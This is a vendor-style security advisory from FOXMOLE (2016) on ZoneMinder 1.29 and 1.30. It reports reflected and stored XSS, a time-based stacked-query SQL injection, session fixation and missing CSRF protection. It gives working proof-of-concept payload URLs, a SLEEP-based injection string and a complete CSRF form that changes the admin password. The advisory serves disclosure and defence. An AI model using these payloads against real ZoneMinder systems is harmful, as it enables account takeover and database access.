Source: https://www.foxmole.com/advisories/foxmole-2016-07-05.txt -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 === FOXMOLE - Security Advisory 2016-07-05 === Zoneminder multiple vulnerabilities ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Affected Versions ================= Zoneminder 1.29,1.30 Issue Overview ============== Vulnerability Type: SQL Injection, Cross Site Scripting, Session Fixation, No CSRF Protection Technical Risk: high Likelihood of Exploitation: medium Vendor: Zoneminder Vendor URL: https://zoneminder.com/ Credits: FOXMOLE employee Tim Herres Advisory URL: https://www.foxmole.com/advisories/foxmole-2016-07-05.txt Advisory Status: Public CVE-Number: NA CVE URL: NA OVE-ID: OVI-ID: CWE-ID: CWE-89 CVSS 2.0: 4.3 (AV:N/AC:M/Au:N/C:P/I:N/A:N) Impact ====== During an internal code review multiple vulnerabilities were identified. The whole application misses input validation and output encoding. This means user supplied input is inserted in an unsafe way. This could allow a remote attacker to easily compromise user accounts or access the database in an unsafe way. Issue Description ================= The following findings are only examples there are quite more. The whole application should be reviewed. All items tested using Firefox 1)Cross Site Scripting (XSS) Reflected: http://192.168.241.131/zm/index.php?view=request&request=log&task=download&key=a9fef1f4&format=texty9fke%27%3Chtml%3E%3Chead%3E%3C/head%3E%3Cbody%3E%3Cscript%3Ealert(1)%3C%2fscript%3E%3C/body%3E%3C/html%3Eayn2h Reflected without authentication: http://192.168.241.131/zm/index.php/LSE4%22%3E%3Cscript%3Ealert(1)%3C/script%3ELSE Stored: Creating a new monitor using the name "Bla<script>alert(1)</script>". There is only a clientside protection. 2)SQL Injection Example Url:http://192.168.241.131/zm/index.php Parameter: limit (POST) Type: stacked queries Title: MySQL > 5.0.11 stacked queries (SELECT - comment) Payload: view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434 Easy exploitable using sqlmap. 3)Session Fixation After a successful authentication the Session Cookie ZMSESSID remains the same. Example: Cookie before the login = ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2 after successful login ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2 4)No CSRF Proctection A possible CSRF attack form, which changes the password of the admin (uid=1), if the corresponding user activates it. <html> <body> <form action="http://192.168.241.131/zm/index.php" method="POST"> <input type="hidden" name="view" value="user" /> <input type="hidden" name="action" value="user" /> <input type="hidden" name="uid" value="1" /> <input type="hidden" name="newUser[MonitorIds]" value="" /> <input type="hidden" name="newUser[Username]" value="admin" /> <input type="hidden" name="newUser[Password]" value="admin1" /> <input type="hidden" name="conf_password" value="admin1" /> <input type="hidden" name="newUser[Language]" value="" /> <input type="hidden" name="newUser[Enabled]" value="1" /> <input type="hidden" name="newUser[Stream]" value="View" /> <input type="hidden" name="newUser[Events]" value="Edit" /> <input type="hidden" name="newUser[Control]" value="Edit" /> <input type="hidden" name="newUser[Monitors]" value="Edit" /> <input type="hidden" name="newUser[Groups]" value="Edit" /> <input type="hidden" name="newUser[System]" value="Edit" /> <input type="hidden" name="newUser[MaxBandwidth]" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> Temporary Workaround and Fix ============================ FOXMOLE advises to disable Zoneminder until the vendor publishes a complete fix.
